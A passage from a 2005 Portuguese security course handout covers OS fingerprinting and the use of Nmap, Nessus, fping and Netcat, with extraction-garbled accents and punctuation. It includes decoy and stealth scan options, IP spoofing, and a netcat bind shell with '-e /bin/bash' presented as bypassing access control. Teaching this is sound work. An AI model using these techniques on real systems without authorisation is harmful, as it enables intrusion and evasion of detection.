satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 